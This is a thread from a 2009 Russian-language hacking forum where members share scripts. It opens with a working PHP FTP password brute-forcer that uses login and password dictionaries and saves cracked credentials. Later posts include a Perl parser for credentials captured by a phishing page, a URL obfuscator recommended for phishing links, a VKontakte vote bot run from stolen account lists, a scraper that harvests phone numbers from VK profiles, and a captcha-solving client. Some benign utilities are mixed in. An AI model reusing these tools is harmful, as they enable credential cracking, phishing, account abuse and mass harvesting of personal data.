echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$handle2 = fopen($file_login, "r");
while (!feof($handle2)) {
$login = trim(fgets($handle2));
echo "\n will brute password for login <$login> ...";
$handle = fopen($file_pass, "r");
while (!feof($handle)) {
$pass = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $g - $s;
echo "\nPass $s connections, remain $w passwords, brute...";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login: $login | Password : $pass>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
fclose($handle);
$i = 0;
$s = 0;
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle1);
fclose($handle2);
}
// Брут по словарю паролей(знаем логин):
if ($mode==1) {
echo "\n\n Count passwords, wait please...";
$handle = fopen($file_pass, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p passwords...working\n\n";
echo "Will brute login: <$login>\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$pass = '';
// Brute
$handle = fopen($file_pass, "r");
while (!feof($handle)) {
$pass = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w passwords, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Password : $pass>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
// Брут по словарю логинов(знаем пароль):
if ($mode==2) {
echo "\n\n Count logins, wait please...";
$handle = fopen($file_login, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p logins...working\n\n";
echo "Will brute pass: <$pass>\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$login = '';
// Brute
$handle = fopen($file_login, "r");
while (!feof($handle)) {
$login = trim(fgets($handle));
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$login,$pass)) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w logins, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login : $login>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: $login, пароль: $pass". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
// Брут по словарю логин/пароль(не знаем ни логин ни пароль):
if ($mode==3) {
echo "\n\n Count logins" . $file_login_pass_del . "passwords, wait please...";
$login = '';
$pass = '';
$handle = fopen($file_login_pass, "r");
while ($buffer = fgets($handle)) $p++;
fclose($handle);
echo "\n\n\n$p logins" . $file_login_pass_del . "passwords...working\n\n";
echo "Will brute login" . $file_login_pass_del . "password\n";
echo "at host: <$host> \n";
echo "at port: <$port>\n";
echo "brute info after every <$kol> connections\n";
echo "pause between connections: <$pause> seconds\n";
echo "Working, wait please...\n\n";
$buffer = '';
$temp = array();
// Brute
$handle = fopen($file_login_pass, "r");
while (!feof($handle)) {
$buffer = trim(fgets($handle));
$temp = explode($file_login_pass_del,$buffer);
$open = ftp_connect($host,$port,"100"); // сервер, порт, таймаут
if(!ftp_login($open,$temp[0],$temp[1])) {
$i++;
if ($i==$kol) {
$s = $s+$i;
$i=0;
$w = $p - $s;
echo "Pass $s connections, remain $w login" . $file_login_pass_del . "password, brute...\n";
sleep($pause);
}
} else {
echo "\n\n\nSuccess connection!!!! Done.";
echo "\n <<<Login: {$temp[0]} | Password : {$temp[1]}>>>";
ftp_close($open); // закрываем фтп-соединение
fwrite($handle1,"Хост: $host, порт: $port, логин: {$temp[0]}, пароль: {$temp[1]}". "\r\n");
fclose($handle1);
fclose($handle);
echo "\n\n\n [[[ All results was saved in <$file_result> ]]]";
exit;
}
}
echo "\n\n\n [[[ Sorry, not found ]]]";
fclose($handle);
fclose($handle1);
}
?>
Недавно потребовалось отпарсить данные с фейка.
Написал этот маленький скрипт, возможно кому-нибудь пригодится.
Парсит по формату: мыло@хост<разделитель>пароль
Убирает дублирующиеся мыльники (юзеры часто думают что ошиблись, и начинают вводить повторно).
#!/usr/bin/perl
use warnings;
use strict;
my $delim = ':';
open IN, '<', 'in.txt' or die $!;
chomp (my @lines = <IN>) && close IN;
open OUT, '>', 'out.txt' or die $!;
for (@lines)
{
print OUT $_, "\n" if
(m#([a-z0-9][a-z0-9-_]+@[a-z0-9-_]+\.[a-z]{2,4})$delim\S+#ig) &&
($_{$1}=!exists $_{$1});
}
close OUT && print 'finished';
Скрипт обновил 16.06.09!
Вот написал такой скриптек - [V]ote[R],который передаёт голоса вконтакте с профиля на профиль по спискам!
Принцып роботы скрипта через это приложение http://vkontakte.ru/app577176
Скрипт работает так:
---> Логинимся ---> Добавляем приложение себе ---> Бросаем голоса на ID ---> Удаляем приложение.
Вот что он умеет:
|__[+] Работает с двумя списками акков:
|____[+] Список cookies
|____[+] Список mail:pass
|__[+] Есть поддержка proxy
|__[+] Написан на php с curl
|__[+] Работает с антикапчей ! Капчу записывает в capcha.jpg на сервере.
http://dump.ru/file/2912904
http://letitbit.net/download/7916aae252/Voterobf.rar.html
http://depositfiles.com/files/b41zpwilc
Подсчитывает количество строк во всех файлах переходя по папкам из стартовой директории, т.е. в которой находится файл.
<?php
$strings = '';
function scan($dir = '.') {
global $strings;
chdir($dir);
$opDir = opendir('.');
while($obj = readdir($opDir)) {
if(is_file($obj)) {
$stringsInFile = count(file($obj));
echo $obj.' - '.$stringsInFile.' strings;<br />';
$strings += $stringsInFile;
} else if(is_dir($obj) && $obj != '.' && $obj != '..') scan($obj);
}
closedir($opDir);
if($dir != '.') chdir('..');
}
scan();
echo '<b><br />strings - '.$strings.'</b>';
?>
thx: SLESH, d_x, Gar|k
класс для сохранения переменных в себе ;)
юзаем:
$a = 'aaaaaa';
include('selfVar.php');
// simple , how to use this
$sv = new selfVar();
$sv->saveVar('a','AVALUE');
$sv->saveVar('b','BVALUE');
$sv->saveVar('ab','NEWWALUE');
unset($sv);
$b = 'bbbbb';
echo $a.$b;
запускаем скрипт, потом смотрим сорс, и увидем что:
$a = 'AVALUE', $BVALUE = 'BVALUE', $ab = 'NEWWALUE';
// start of class selfVar
class selfVar{
public $v,$f,$ff;
function __construct($f=null){
$this->f = ($f==null)?$_SERVER['SCRIPT_FILENAME']:$f;
if (!file_exists($this->f)) $this->f = null;
}
function getVars(){
if ($this->f==null) return null;
$this->v = null;
$this->ff= @implode('',@File($this->f));
if (preg_match_all('/(\$\w+)\s?=\s?(.+?)\s?;/',$this->ff,$m)) {
unset($m[0]);
$this->v = $m;
return $m;
} else {
return null;
}
}
function saveVar($n,$v,$i=1) {
if ($this->f==null) return null;
$m = $this->getVars();
if (in_array('$'.$n,$m[1])){
if (preg_match('/(\$'.$n.'\s?=\s?)(.+?)(\s?;)(.*)/',$this->ff,$m)) {
$f1 = substr($this->ff,0,strpos($this->ff,$m[1]));
$f2 = substr($this->ff,strpos($this->ff,$m[1])+strlen($m[1].$m[2].$m[3]),strlen($this->ff));
$ff = $f1.$m[1].'\''.$v.'\''.$m[3].$f2;
$this->ff = $ff;
}
} else {
$f1 = substr($this->ff,0,strpos($this->ff,'<?')+2);
$f2 = substr($this->ff,strpos('<?',$this->ff)+strlen($f1)+2,strlen($this->ff));
$this->ff = $f1."\n$".$n.' = \''.$v."';\n".$f2;
}
$this->s($this->f,$this->ff);
}
function s($f,$t){
$x = fopen($f,'w');
fwrite($x,$t);
fclose($x);
}
}
// end of class selfVar
http://uasc.org.ua/2009/06/php-selfvar/
erihtoney
04.06.2009, 19:27
<?php
/*
Socks4/5 sorter and parser by erihtoney & mff
*/
if(isset($_POST[go_sort])){
$source=$_POST[source];
$id=chr(13);
$sort=explode("$id",$source);
foreach($sort as $value){
if(strpos($value,"SOCKS4") OR strpos($value,"socks4")){
$socks4[]=$value;
}
if(strpos($value,"SOCKS5") OR strpos($value,"socks5")){
$socks5[]=$value;
}
}
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
<title>Socks4/5 sorter and parser by erihtoney & mff</title>
</head>
<body>
<center><h1>Parser and sorter Socks4/5 </h1></center>
<fieldset>
<legend>main</legend>
<form action="" style="display:inline;" method=POST>
<table align="center" width="100%" border="0" cellspacing="4" cellpadding="4">
<tr>
<td valign="top"><fieldset>
<legend>Source</legend>
<textarea id="source" rows="10" style="width:100%;" name="source"><?php
if(isset($_POST[go_sort]) AND isset($_POST[source])){
echo $_POST[source];
}
?>
</textarea>
</fieldset></td>
<td valign="top"><fieldset>
<legend>Socks4</legend>
<textarea id="socks4" rows="8" style="width:100%;" ><?php
if(isset($_POST[go_sort]) AND !empty($_POST[source]) AND $socks4){
foreach($socks4 as $v){
$vv=preg_match('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,4}/',$v,$array_socks4);
foreach($array_socks4 as $pure_socks4){
echo $pure_socks4."
";
}
}
}?></textarea>
</fieldset></td>
<td valign="top"><fieldset>
<legend>Socks5</legend>
<textarea id="socks5" rows="8" style="width:100%;"><?php
if(isset($_POST[go_sort]) AND !empty($_POST[source]) AND $socks5)
{
foreach($socks5 as $v){
$socks5_rw=preg_match('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{4}/',$v,$array_socks5);
foreach ($array_socks5 as $pure_socks5){
echo $pure_socks5."
";
}
}
}
?></textarea>
</fieldset></td>
</tr>
<tr>
<td align="right" colspan="3"><input type="submit" name="go_sort" value="Сортировать">
</td>
</tr>
</table>
</form>
</fieldset>
</body>
</html>
гавнокод (http://icqshop.actualtech.ru/parser.php)
Народ дайте пожалуста скрипт проверки доменов
heretic1990
10.06.2009, 15:38
Народ дайте пожалуста скрипт проверки доменов
http://www.woweb.ru/load/66-1-0-3080
Alekzzzander
10.06.2009, 18:29
Народ дайте пожалуста скрипт проверки доменов
http://forum.antichat.ru/showthread.php?p=1290703#post1290703
proxy.php:
<?php
############
# Граббер проксей с ip-whois.net
# (ип;порт;дата;страна;аноним ая/прозрачная)
# запись натыренного в файл (proxy.html)
# (c) Failure
############
error_reporting(0);
set_time_limit(30);
if(!file_exists("proxy.html")) include("get_proxy.php");
$f = fopen("proxy.html","r");
$buff = fread($f, filesize("proxy.html"));
$buff = strstr($buff, "<table width = 100%>");
$bad = strstr($buff, "</tr></table></p>");
$buff = str_replace($bad, "", $buff);
fclose($f);
echo $buff;
if(file_exists("proxy.html")) unlink("proxy.html");
$f = fopen("proxy.html","a+");
fwrite($f, $buff);
fclose($f);
?>
get_proxy.php
<?php
$sock = fsockopen("ip-whois.net", 80, $bla, $bla2);
$out = "GET /proxy.php HTTP/1.1\r\n";
$out .= "Host: ip-whois.net\r\n";
$out .= "Content-Type: text/html\r\n";
$out .= "Referer: http://ip-whois.php/index.php\r\n\r\n";
fwrite($sock, $out);
if(file_exists("proxy.html")) unlink("proxy.txt");
$fproxy = fopen("proxy.html","a+");
while(!feof($sock)) fwrite($fproxy, fgets($sock, 1000));
fclose($sock);fclose($fproxy);
?>
NULL_byte
16.06.2009, 11:33
<?php
$dir = dirname(__FILE__);
$all_elements = Array();
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
$ext = substr($file, strrpos($file, '.')+1);
if (strtolower($ext) == 'txt') {
echo "$file:";
$all_elements =
array_merge($all_elements,
explode("\n",
str_replace("\r", '',
trim(file_get_contents("$dir\\$file")))));
echo " ".count($all_elements)."\n";
}
}
closedir($dh);
}
}
$all_elements = array_unique($all_elements);
echo "Total unique: ".count($all_elements)."\n";
file_put_contents('./.summary.txt', implode("\n", $all_elements));
?>
Объединяет содержимое всех txt файлов в директории, + убирает неуникальные строки.
Скрипт обновил 16.06.09!
Вот написал такой скриптек - [V]ote[R],который передаёт голоса вконтакте с профиля на профиль по спискам!
Принцып роботы скрипта через это приложение http://vkontakte.ru/app577176
Скрипт работает так:
---> Логинимся ---> Добавляем приложение себе ---> Бросаем голоса на ID ---> Удаляем приложение.
Вот что он умеет:
|__[+] Работает с двумя списками акков:
|____[+] Список cookies
|____[+] Список mail:pass
|__[+] Есть поддержка proxy
|__[+] Написан на php с curl
|__[+] Работает с антикапчей ! Капчу записывает в capcha.jpg на сервере.
http://dump.ru/file/2912904
http://letitbit.net/download/7916aae252/Voterobf.rar.html
http://depositfiles.com/files/b41zpwilc
Скрипт обновил!
http://dump.ru/file/2912904
http://letitbit.net/download/7916aae252/Voterobf.rar.html
http://depositfiles.com/files/b41zpwilc
скрипт для за/розшифровки линков
например:
http://%67%6F%6F%67l%65%2E%63%6F%6D = google.com
хорошо подойдет для фейков
<?php
############
##coded by liga
##PS пользуясь
##случаем хочу
##передать приветы
##своему контакт
##листу и
##всему ачату
##and erihtoney
#############
$link=($_POST['linkk']);
function code($link){
$a=array('j' , '.' , 'w' , 'f' , 'o', 'r', 'u' , 'm' , 'a' , 'q' , 't' , 's' , 'v' , 'y' , 'b' , 'c' , 'd' , 'e' , 'i' , 'g' , 'h' , '*' , 'p' , ':' , '?' , '=' , '>' , '<' , 'k' , 'n');
$b=array('%6A','%2E', '%77', '%66', '%6F', '%72', '%75', '%6D', '%61', '%71','%74', '%73' ,'%76' ,'%79' , '%62' , '%63' , '%64' , '%65' , '%69' , '%67','%68' , '%2A' , '%70' , '%3A' , '%3F' , '%3D' , '%3E' , '%3C' , '%6B' , '%6E');
$_txt=str_replace($a, $b, $link);
return $_txt;
}
function decode($link){
$a=array('j','.', 'w', 'f', 'o', 'r', 'u', 'm', 'a', 'q', 't', 's', 'v', 'y', 'b', 'c', 'd', 'e', '2', 'i', 'g', 'h','*','p',':','/','?','=','\'','>','<',' ','k','n','1','2','3','4','5','6','7','8','9');
$b=array('%6A','%2E', '%77', '%66', '%6F', '%72', '%75', '%6D', '%61', '%71','%74','%73','%76','%79', '%62', '%63','%64','%65','%32','%69','%67','%68','%2A','% 70','%3A','%2F','%3F','%3D','%27','%3E','%3C','%20 ','%6B','%6E','%31','%32','%33','%34','%35','%36', '%37','%38','%39');
$_txt=str_replace($b, $a, $link);
return $_txt;
}
switch ( $_REQUEST['type']) {
case 0:$otvet= code($link);
break;
case 1:$otvet= decode($link);
break;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ru">
<head>
<title>link enciphering</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<STYLE>
body
{
background-color:#222;
color:#999;
font-family:Verdana;
font-size:9pt;
padding:0px;
margin:0px;
}
table
{
font-family:Verdana, Arial;
font-size:13px;
}
form
{
padding:20px;
margin:20px;
}
input, select
{
background:#292929;
padding:2px;
font-size:12px;
border:1px solid #444;
font-family:Verdana; color:#888;
}
</style>
</head>
<body>
<table align="center" >
<tr><td align="center">link enciphering</td></tr>
<form method=post>
<tr><td align="center"><br>
<input name="type" type="radio" value="0" checked>enciphering
<input name="type" type="radio" value="1" checked>deenciphering
</td></tr>
<tr>
<td >
<input type=input name="linkk" size=48>
<input type=input name=datafromuser size=48 value="<? echo $otvet;?> " ></td></tr>
<br>
<tr><td align="center"><br><input type="submit" value="[enciphering-deenciphering]" style="width:608px;">
</form>
</td></tr>
</body>
</html>
urldecode($string) - Decodes any %## encoding in the given string.
urlencode($string) - This function is convenient when encoding a string to be used in a query part of a URL, as a convenient way to pass variables to the next page
(с) php manual
хотел отличиться умом и сообразительностью?и текст запостил с пхп.нет ай маладэц!,нихрена не
выйшло,закодируй мне своими функциями ссылку как я
показал на примере.
imajo.ati
17.06.2009, 05:40
простенький speed dial почти как в опере..
работает без яваскрипта
настройки в index.xhtml
http://s51.radikal.ru/i133/0906/7b/a922ad2d3b3ft.jpg (http://s51.radikal.ru/i133/0906/7b/a922ad2d3b3f.png)
скачать тут >> http://2u.ifolder.ru/12679656
[PERL] Парсер мобильных номеров телефонов с Вконтакте.
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
#################################
my $login = 'login@mail.ru'; # Логин аккаунта ВК
my $pass = '123456789'; # Пароль аккаунта ВК
my $good = 'numbers.txt'; # Файл с напарсенными номерами телефонов
my $range = "19340000-19349999";# Диапазон ID юзеров ВК, которых парсить
#################################
my $ua = LWP::UserAgent->new(timeout => 40,
cookie_jar => HTTP::Cookies->new());
my $ans = $ua->post("http://pda.vkontakte.ru/login?pda=index&acknowledge=0",{
"email" => $login,
"pass" => $pass})->as_string;
my $i; my $cnt = 0;
my ($from,$to) = split /-/,$range;
for($i = $from; $i <= $to; $i++){
my $resp = $ua->get("http://pda.vkontakte.ru/id$i")->content;
if($resp =~ m,'tel:(\d*)',i){
++$cnt;
open my $dat,'>>'.$good;
print $dat $1."\n";
print "[+] - $1\n";
print "[numbers found: $cnt]\n";
close $dat;}
}
#(c) Gaus 2009
login999
23.06.2009, 22:33
[Python] Элементарный скрипт для подсчета строк в файлах.
Пригодится для проверки говночекеров, да и вообще так (по крайней мере мну сегодня пригодился):)
Скрипт с гуем, пэтому требует Tkinter (на windows стоит по умолчанию)
В режиме "Без дублей" файл грузится в оперативку, поэтому поаккуратнее там
Скрин:
http://img222.imageshack.us/img222/6072/screenshotwbd.png
#!usr/bin/env python
# -*- coding:utf-8 -*-
# files length counter
# (c) login999
from Tkinter import *
from tkMessageBox import showerror
from tkFileDialog import askopenfilename
LastCounter = 0
NowCounter = 0
AllCounter = 0
def Count():
global LastCount
global NowCount
global AllCount
global AllCounter
global NowCounter
global LastCounter
LastCounter = NowCounter
NowCounter = 0
try:
with open(askopenfilename()) as accs:
for _ in accs:
NowCounter += 1
AllCounter += 1
LastCount["text"] = LastCounter
NowCount["text"] = NowCounter
AllCount["text"] = AllCounter
except Exception, e:
showerror(u"Ошибка", e)
def NODUP():
global LastCount
global NowCount
global AllCount
global AllCounter
global NowCounter
global LastCounter
LastCounter = NowCounter
NowCounter = 0
try:
with open(askopenfilename()) as accs:
for _ in set(accs):
NowCounter += 1
AllCounter += 1
LastCount["text"] = LastCounter
NowCount["text"] = NowCounter
AllCount["text"] = AllCounter
except Exception, e:
showerror(u"Ошибка", e)
def Clear():
global LastCount
global NowCount
global AllCount
global AllCounter
global NowCounter
global LastCounter
NowCounter = 0
LastCounter = 0
AllCounter = 0
LastCount["text"] = LastCounter
NowCount["text"] = NowCounter
AllCount["text"] = AllCounter
MainWindow = Tk()
MainWindow["bd"] = 5
MainWindow.title(u"Счетчик Строк")
MainWindow.resizable(width=False, height=False)
ButtonsFrame = Frame(MainWindow)
CountButton = Button(ButtonsFrame, text=u"Посчитать", width=11, command=Count)
NODUPButton = Button(ButtonsFrame, text=u"Без дублей", width=11, command=NODUP)
ClearButton = Button(ButtonsFrame, text=u"Очистить", width=11, command=Clear)
CountButton.grid(row=0, column=0)
NODUPButton.grid(row=1, column=0)
ClearButton.grid(row=2, column=0)
ButtonsFrame.grid(row=0, column=0, sticky="w")
LinesLabel = LabelFrame(MainWindow, text=u"Количество строк")
LastLabel = Label(LinesLabel, text=u"Последний :", anchor="w", width=12)
LastCount = Label(LinesLabel, text=LastCounter, width=8)
NowLabel = Label(LinesLabel, text=u"Нынешний :", anchor="w", width=12)
NowCount = Label(LinesLabel, text=NowCounter, width=8)
AllLabel = Label(LinesLabel, text=u"Всего :", anchor="w", width=12)
AllCount = Label(LinesLabel, text=AllCounter, width=8)
LastLabel.grid(row=0, column=0)
LastCount.grid(row=0, column=1)
NowLabel.grid(row=1, column=0)
NowCount.grid(row=1, column=1)
AllLabel.grid(row=2, column=0)
AllCount.grid(row=2, column=1)
LinesLabel.grid(row=0, column=1, sticky="w")
MainWindow.mainloop()
BoySKAut
24.06.2009, 00:05
у кого-нибудь есть скрипт регистрации icq? на сайт поставить
vzlom_all
24.06.2009, 13:23
Speed Dial для FireFox
https://addons.mozilla.org/en-US/firefox/addon/4810
Speed Dial для FireFox
https://addons.mozilla.org/en-US/firefox/addon/4810
скрипт в студию!
vzlom_all
24.06.2009, 16:20
скрипт в студию!
Просто видел выше такую же для IE, сам мозилой пользуюсь, вот и добавил. Если не в тему, то предыдущий оратор меня ввёл в заблуждение, прошу прощения :(
Просто видел выше такую же для IE, сам мозилой пользуюсь, вот и добавил. Если не в тему, то предыдущий оратор меня ввёл в заблуждение, прошу прощения :(
Вообще-то там обычная html страница,стилизованная, под спид дил оперы.
Сегодня понадобилось загрузить все изображения из папки на radikal.ru. Вот собственно скрипт:)
#!/usr/bin/perl
use warnings;
use strict;
use LWP::UserAgent;
#############################
my $img_dir = './images/'; # Путь к папке с изображениями
my $link_file = 'links.txt';# Файл с ссылками на загруженные изображения
#############################
print qq(##############################
# Radikal.Ru Images Uploader #
# (c)Gaus 2009 #
##############################\n\n);
my @images = <$img_dir*.*>;
while(@images){
my $cimg = shift @images;
my $ua = LWP::UserAgent->new(timeout => 65);
my $answ = $ua->post("http://www.radikal.ru/action.aspx",
Content_type => 'multipart/form-data',
Content => [upload => "yes",
GEO_POINT_ID => "",
F => [$cimg]])->as_string;
if($answ =~ m,"input_link_1" value="(.*?)",i){
print "[ + ] ".$1." [$cimg]\n";
open my $dat,'>>',$link_file or die "\nCould not open $link_file file!\n";
print $dat "".$1."\n";
close $dat;
}else{print "[ - ] [$cimg]\n";}
}
В одно время заказывал простейший скрипт работы ajax -> php -> mysql -> php -> ajax
кому интересно - выкладываю в архиве (http://dump.ru/file/2975655)
Подробнейшое описание скрипта в ТЗ.doc.
много комментов.
Скрипт чтобы достать список всех таблеток главмеда
use strict;
use warnings;
use LWP::UserAgent;
use Tie::File;
my @pills;
tie @pills, 'Tie::File', 'pills.txt';
my $ua = LWP::UserAgent->new();
for (1..5000) {
my $page = $ua->get('http://www.canadianmedsworld.com/item.php?id='.$_)->decoded_content;
my ($name) = $page =~ m[<div class="item_title">(.+?)</div>];
push @pills, $name if defined $name;
}
serg-php
27.06.2009, 21:01
Выкладываю готовое решение:
// База - донор
$host_a = "localhost"; // MySQL server
$user_db_a = ""; // MySQL пользователь
$pass_db_a = ""; // MySQL пароль
$dbase_a = ""; // MySQL база данных
$dtable = ""; // Таблица в базе данных
// База - реципиент
$host = "localhost"; // MySQL server
$user_db = ""; // MySQL пользователь
$pass_db = ""; // MySQL пароль
$dbase = ""; // MySQL база данных
$link1 = mysql_connect($host_a, $user_db_a, $pass_db_a);
mysql_select_db($dbase_a, $link1);
$link2 = mysql_connect($host, $user_db, $pass_db);
mysql_select_db($dbase, $link2);
$res1 = mysql_query("SELECT id,
email,
username,
pwd,
regdate,
reg_ip FROM $dtable", $link1);
function fetch_user_salt($length = 3)
{
for ($i = 0; $i < $length; $i++)
{
$salt .= chr(rand(99, 120));
$salt = str_replace('\'','1',$salt);
$salt = str_replace('"','1',$salt);
}
return $salt;
}
if (mysql_num_rows($res1) > 0)
while ($temp = mysql_fetch_assoc($res1)) {
//Обработка данных: генерация пароля и т.п.
$salt = fetch_user_salt();
$pwd = md5( md5( trim($temp[pwd]) ).$salt );
mysql_query("INSERT INTO f_user SET
userid='$temp[id]',
usergroupid='2',
membergroupids='',
displaygroupid='0',
username='$temp[username]',
password='$pwd',
passworddate='2009-06-20',
email='$temp[email]',
styleid='2',
parentemail='',
homepage='',
icq='',
aim='',
yahoo='',
msn='',
skype='',
showvbcode='1',
showbirthday='2',
usertitle='Junior Member',
customtitle='0',
joindate='0',
daysprune='-1',
lastvisit='1245661871',
lastactivity='1245661871',
lastpost='0',
lastpostid='0',
posts='0',
reputation='10',
reputationlevelid='5',
timezoneoffset='0',
pmpopup='0',
avatarid='0',
avatarrevision='0',
profilepicrevision='0',
sigpicrevision='0',
options='3143',
birthday='',
birthday_search='0000-00-00',
maxposts='-1',
startofweek='-1',
ipaddress='$temp[reg_ip]',
referrerid='0',
languageid='0',
emailstamp='0',
threadedmode='0',
autosubscribe='-1',
pmtotal='0',
pmunread='0',
salt='$salt',
ipoints='0',
infractions='0',
warnings='0',
infractiongroupids='',
infractiongroupid='0',
adminoptions='0',
profilevisits='0',
friendcount='0',
friendreqcount='0',
vmunreadcount='0',
vmmoderatedcount='0',
socgroupinvitecount='0',
socgroupreqcount='0',
pcunreadcount='0',
pcmoderatedcount='0',
gmmoderatedcount='0'");
mysql_query("INSERT INTO f_userfield SET
userid='$temp[id]'");
mysql_query("INSERT INTO f_usertextfield SET
userid='$temp[id]'");
}
Огромная благодарность:
Doom123,
Extremal
(Список благодарности дополню)
NULL_byte
28.06.2009, 02:35
Класс для работы с антикапчей:
<?php
/*
* @name: anti-captcha.php
* @description: Class to communicate AC's API
* @author: NULL_byte
* @contacts: www.null-byte.info
* @version: 1
*/
/*
$AC = new AntiCaptcha;
$AC->Verbose = false;
$AC->APIKey = '';
$AC->Recognize('E:\www\vkontakte\regger\captcha.jpg');
$r = $AC->DecodedCaptcha;
if (!$r) $AC->MakeAbuse();
*/
class AntiCaptcha {
var $APIKey = '';
var $Verbose = true;
var $Numeric = 0;
var $Phrase = 0;
var $Regsense = 0;
var $RTimeout = 2; // Как часто проверять результат
var $MTimeout = 120; // максимальное время расшифровки
var $MinLen = 0;
var $MaxLen = 0;
var $DecodedCaptcha = false;
var $LastCaptchaID = '';
function Recognize($file) {
if (!is_array($file) && !file_exists($file)) {
echo "File $file not found\n";
return false;
}
if (is_array($file)) {
if (!isset($file[0]) || !isset($file[1]) || !isset($file[2]))
echo "Wrong image data!\n";
$filedata = Array($file[0], $file[1], $file[2]);
} else {
$filedata = Array(file_get_contents($file));
}
$q = new HTTPQuery;
$q->ContentType = 'multipart/form-data';
$q->Query = Array(
'method' => 'post',
'key' => $this->APIKey,
'file' => $filedata, // Полный путь к файлу
'phrase' => $this->Phrase,
'regsense' => $this->Regsense,
'numeric' => $this->Numeric,
'min_len' => $this->MinLen,
'max_len' => $this->MaxLen
);
$q->Post('http://ac-service.info/in.php');
if (strpos($q->Result, "ERROR") !== false) {
echo "Server returned error: {$q->ResultClean}\n";
$this->DecodedCaptcha = false;
return false;
} else {
$ex = explode("|", $q->Result);
$this->LastCaptchaID = $ex[1];
$captcha_id = $ex[1];
if (!$this->Verbose) return $captcha_id;
if ($this->Verbose) echo "Decoding captcha";
$waittime = 0;
if ($this->Verbose) echo ".";
sleep($this->RTimeout);
while(true) {
$q->Get("http://ac-service.info/res.php?key={$this->APIKey}&action=get&id=$captcha_id");
$result = $q->ResultClean;
if (strpos($result, 'ERROR') !== false) {
if ($this->Verbose) echo "Server returned error: $result\n";
$this->DecodedCaptcha = false;
return false;
}
if ($result == "CAPCHA_NOT_READY") {
$waittime += $this->RTimeout;
if ($waittime > $this->MTimeout) {
if ($this->Verbose) echo "Timelimit ({$this->MTimeout} secs) hit\n";
break;
}
if ($this->Verbose) echo ".";
sleep($this->RTimeout);
} else {
$ex = explode('|', $result);
$this->DecodedCaptcha = false;
if (trim($ex[0]) == 'OK') $this->DecodedCaptcha = trim($ex[1]);
if ($this->Verbose) echo " ";
return $this->DecodedCaptcha;
}
}
return false;
}
}
function MakeAbuse() {
$url = "http://ac-service.info/res.php?key={$this->APIKey}&action=reportbad&id={$this->LastCaptchaID}";
$responce = file_get_contents($url);
return ($responce == 'OK_REPORT_RECORDED');
}
}
?>
требует для себя вот это:
<?php
/*
* @name: HTTPQuery.php
* @description: Class to work with HTTP protocol
* @author: NULL_byte
* @contacts: www.null-byte.info
* @version: 1.2
*/
class HTTPQuery {
var $URI = 'http://localhost/';
var $Port = '80';
var $Method = 'get';
var $Referer = null;
var $UserAgent = null;
var $Query = null;
var $Cookies = null;
var $Proxy = false; // Proxy to use. Format: Array('proxy_host', 'port') or false;
var $ContentType = null;
var $Boundary = '-----NULL-BYTE----NULL-BYTE----NULL-BYTE';
var $Host = null;
var $Path = null;
var $Silent = false; // If it true, wouldn't print any messages
var $Debug = false; // If it true, would print many messages :)
var $Result = null; // Will contain result with headers
var $ResultClean = null; // Will contain result without headers
var $AddHeaders = Array();
var $Headers = Array();
function ConstructQuery() {
if (is_array($this->Query)) {
if (strtolower($this->ContentType) != 'multipart/form-data') {
$query_string = '';
foreach ($this->Query as $key => $value) {
$query_string .= "$key=$value&";
//$query_string .= $key.'='.urlencode($value);
}
$this->Query = trim($query_string, '&');
} else {
$query_string = '';
foreach ($this->Query as $key => $value) {
$query_string .= "--{$this->Boundary}\r\n";
if (!is_array($value)) {
